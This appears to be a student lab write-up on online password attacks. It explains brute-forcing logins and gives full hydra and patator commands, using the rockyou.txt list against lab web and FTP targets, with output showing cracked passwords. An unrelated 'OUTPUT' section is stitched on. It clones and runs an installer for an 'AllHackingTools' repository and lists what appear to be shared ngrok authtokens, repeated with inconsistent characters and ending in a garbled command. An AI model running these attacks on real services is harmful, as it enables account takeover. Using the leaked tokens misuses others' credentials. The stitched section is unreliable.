

Experiment No. 8

Aim: Online Password Attack.

Theory:

Application authentication that only requires a login and password is inherently unsecure, because an attacker only needs to obtain “one factor” to masquerade as a legitimate user. Often it is easy to guess legitimate login ids by doing some reconnaissance on the target of the attack. Many companies will re-use employee’s email ids (without the domain name) as a universal login for other systems in the company. Email addresses can be discovered from many online sources.

1. What is “Online Password Cracking?”

Online password cracking is attacking a computer system through an interface that it presents to its legitimate users by attempting to guess the login credentials. For instance, an attacker can try to guess a user’s credentials for a web application login page; for an SSH or Telnet server; or for a network service such as Lightweight Directory Access Protocol (LDAP), one of the mail protocols (SMTP, POP3, or IMAP), FTP, or one of many others.

There are common password lists available online. One popular list, “rockyou.txt” contains over 14 million passwords. Rockyou.txt contains real passwords compromised in the “RockYou!” social application hack. Many of these passwords would pass modern password complexity checks.
<https://techcrunch.com/2009/12/14/rockyou-hack-security-myspace-facebook>

-passwords/.

2. Why Do Online Password Cracking?

Network applications, such as custom web applications, are often the weak-underbelly of the network. Many times, the operating system and its services themselves will be hardened against attack, but the web service itself may have weaknesses, such as a SQL Injection or Operating System Command Injection, that can be exploited to gain further access. An attacker will attempt to accomplish two goals to get access to a system: upload a file and execute that file. Many web and network applications provide that functionality to legitimate users. So, if an attacker can gain the credentials of a legitimate user, he or she can then leverage any capabilities offered to legitimate users to gain further access. Finally, many servers only expose a single service to its legitimate users; gaining access to that service may be the only way in to a network.

3. What Are the Advantages of Online Password Cracking?

The primary advantage of Online Password Cracking is that an attacker does not need special privileges to initiate the attack. The computer being attacked is providing some service to its legitimate users, and a successful Online Password Cracking attack will allow the attacker to have the same privileges as the user whose credentials were guessed.

Secondly, there is a wide variety of protocols that can be attacked. Any network protocol that accepts a login and password can be attacked with Online Password Cracking

4. What Are the Disadvantages of Online Password Cracking?

The primary disadvantage of Online Password Cracking is that it is very slow. Network speed, the speed of the service response, or built-in delays can limit the effective speed to hundreds of guesses per second, all the way down to single digits per second, or maybe even multiple seconds per guess.

Online Password Cracking attempts are very noisy. Most network services have log files that keep track of login attempts. An Intrusion Detection / Prevention System (IDS/IPS), a Web Application Firewall (WAF), or even an alert system administrator, can often spot these attacks even while they are in progress.

Finally, Online Password Cracking attacks can trivially be stopped by increasing the amount of time between unsuccessful login attempts (say, to five seconds or so), or better yet, by locking out the account.

5. What Tools are Available for Online Password Cracking?

There are a number of tools available for Online Password Cracking. Four of the most popular are:

- hydra (<https://www.thc.org/thc-hydra/> ... note that some browsers will alert on this page as “potentially unwanted software”) – a popular, powerful tool with a large number of supported protocols and options, but with a somewhat complex and finicky syntax for HTTP(S) web forms; the other protocols are pretty straightforward to attack.
- ncrack (<http://tools.kali.org/password-attacks/ncrack>) – from the makers of nmap; It supports fewer protocols than hydra, but it has a command-line syntax similar to nmap.
- Medusa – created as an intended replacement for hydra; is intended to be a speedy, massively parallel, modular, login brute-forcer, boasting “thread-based parallel testing,” “flexible user input,” and “modular design” as features. It does not support as many protocols as hydra, however.
- patator – a Python-based password cracker with lots of protocols and flexibility, but which is still a bit buggy.

```
hydra -t 1 -vV  
  
-l sonja  
  
-P ~/rockyou/rockyou.txt  
  
192.168.115.129  
  
http-post-form  
  
"/mutillidae/index.php?page=login.php:  
  
username=^USER^&password=^PASS^&
```

The explanation of the parameters is shown in the table below:

Parameter	Explanation
-t 1	-t: Number of threads to use (in this case, one)
-vV	-vV: Verbosity level
-l sonja	-l: use a single login; in this case "Sonja"; could also use -L to denote a file with logins
-P rockyou.txt	-P: use the password file "rockyou.txt"; could also use -p to denote a single password
192.168.115.129	Target IP address
http-post-form	The type of authentication
URL with parameters	POST parameters and placeholders for username and password. Also, string denoting login failure ("Not Logged In")

```
[ATTEMPT] target 192.168.115.129 - login "sonja" - pass "disney" - 523 of 14344399 [child 0]
[ATTEMPT] target 192.168.115.129 - login "sonja" - pass "rabbit" - 524 of 14344399 [child 0]
[ATTEMPT] target 192.168.115.129 - login "sonja" - pass "54321" - 525 of 14344399 [child 0]
[ATTEMPT] target 192.168.115.129 - login "sonja" - pass "fashion" - 526 of 14344399 [child 0]
[ATTEMPT] target 192.168.115.129 - login "sonja" - pass "soccer1" - 527 of 14344399 [child 0]
[ATTEMPT] target 192.168.115.129 - login "sonja" - pass "red123" - 528 of 14344399 [child 0]
[ATTEMPT] target 192.168.115.129 - login "sonja" - pass "bestfriend" - 529 of 14344399 [child 0]
[VERBOSE] Page redirected to http://192.168.115.129/mutillidae/index.php?popUpNotificationCode=AU1
[80][http-post-form] host: 192.168.115.129 login: sonja password: bestfriend
[STATUS] attack finished for 192.168.115.129 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-02-22 09:33:42
root@alpine1:~#
```

hydra online password cracking

An example of how to use patator to attack an FTP server is shown below:

~/patator/patator.py

```
ftp_login
host=192.168.11
5.130
user=tabitha
password=FILE0
0=~ /rockyou/roc
```

The explanation of the parameters is shown in the table below:

Parameter	Explanation
<u>ftp_login</u>	The service to attack
host=192.168.115.130	Host to attack
user= <u>tabitha</u>	Use a single user id, "Tabitha"
password=FILE0	Specify the password file with a placeholder
0= <u>~/rockyou/rockyou.txt</u>	The file whose entries will fill placeholder FILE0. Could use FILE1 and 1= for logins as well.
-x ignore:	Ignore conditions: the string "Login incorrect." and FTP code 500
URL with parameters	POST parameters and placeholders for username and password. Also, string denoting login failure ("Not Logged In")

patator command line parameters

Here is the screenshot of the results from the patator command shown above:

```
root@alpine1:~# ~/patator/patator.py ftp_login host=192.168.115.130 user=tabitha password=FILE0 0=~/rockyou/rockyou_500_clean.txt -x ignore:mesg='Login incorrect.' -x ignore,reset,retry:code=500
09:27:58 patator INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2017-02-22 09:27 CST
09:27:58 patator INFO -
09:27:58 patator INFO - code size time | candidate | num | mesg
09:27:58 patator INFO - -----
09:28:10 patator INFO - Progress: 4% (20/496) | Speed: 8 r/s | ETC: 09:29:10 (00:01:00 remaining)
09:29:03 patator INFO - 230 17 0.117 | hellokitty | 215 | Login successful.
09:30:32 patator INFO - Hits/Done/Skip/Fail/Size: 1/496/0/0/496, Avg: 3 r/s, Time: 0h 2m 33s
root@alpine1:~#
```

patator online password cracking

OUTPUT:

```
Installing 📄

#Upgrade all & full packages
apt update
apt upgrade

#Add your termux permission
termux-setup-storage

#Install package git
apt install git

#clone this repository
git clone https://github.com/mishakorzik/AllHackingTools

#cd to directory allhackingtools
cd AllHackingTools

#Start script to install system
bash Install.sh

if the error and the command does not work: cd AllHackingTools && bash fix.sh

And when he writes a big rainbow button: Done, everything is ready! Wait until you can write to the terminal.

#Free Ngrok authtokens:
26bDGGPyD3XWvtyzK3dFK40IoIq_74Wi1m84A7rv9bPSYniHG
26bDzEjjfP1s5kLHWGnG3K3voA7_69wkMBqUUEXRHoA8v3gEL
26bESCvHbagWfGrHsv4NpTnSCpI_92oE8UFimPxU4nBNMK5T
26bEFS1IR11cEayMpRQ1j0ttGw_3hrWetKnHz4FMxc9hDt3Q
26p3rvZocf7VzraejQNoCjPNN6_6UqEGG1izGcbEBewtBchT
26o4VZonXIis1Da9YizXvkk6UAK_4Zvvi8D2O63vWCap4LBbF
```

if the error and the command does not work: `cd AllHackingTools && bash fix.sh`

And when he writes a big rainbow button: Done, everything is ready! Wait until you can write to the terminal.

```
#Free Ngrok authtokens:
26bDGGPyD3XwVtyzK3dfK401oIq_74Wi1m84A7rv9bP5YnihG
26bDzEjjfP1s5kLHWGnG3K3voA7_69wkMBqUUExRHoA8v3gEL
26bESCvhbagWfGrHSv4NpTnSCpI_92oE8UFimPxU4nBNMK5T
26bEFSI1R1IcEEayMpRQ1j0ttGw_3hrWetKnHZ4FMXc9hDt3Q
26p3rvZocfT7VzraejQNoCjPNN6_6UqEGG1izGcbE8ewtBchT
26p4VZpnXIjs1Dq9YizXvkk6UAK_4ZyVi8D2Q63yWCap4LBbF
26p5O1vfFGLsdf9f8D3dzHAcuUv_454E7DaBz26mgs9yVkzQi
26t7bQBRJiFnK74z35eLcPYJPIXI_2cyAyXVcEAnMTV9eAaYZw
```

```
#configure ngrok
ngrok authtoken <  select free authtoken>

#start ngrok
ngrok http 80
```

Run command to start AllHackingTools: `msdconsole`

Conclusion:

Hence, we studied Online Password Attack.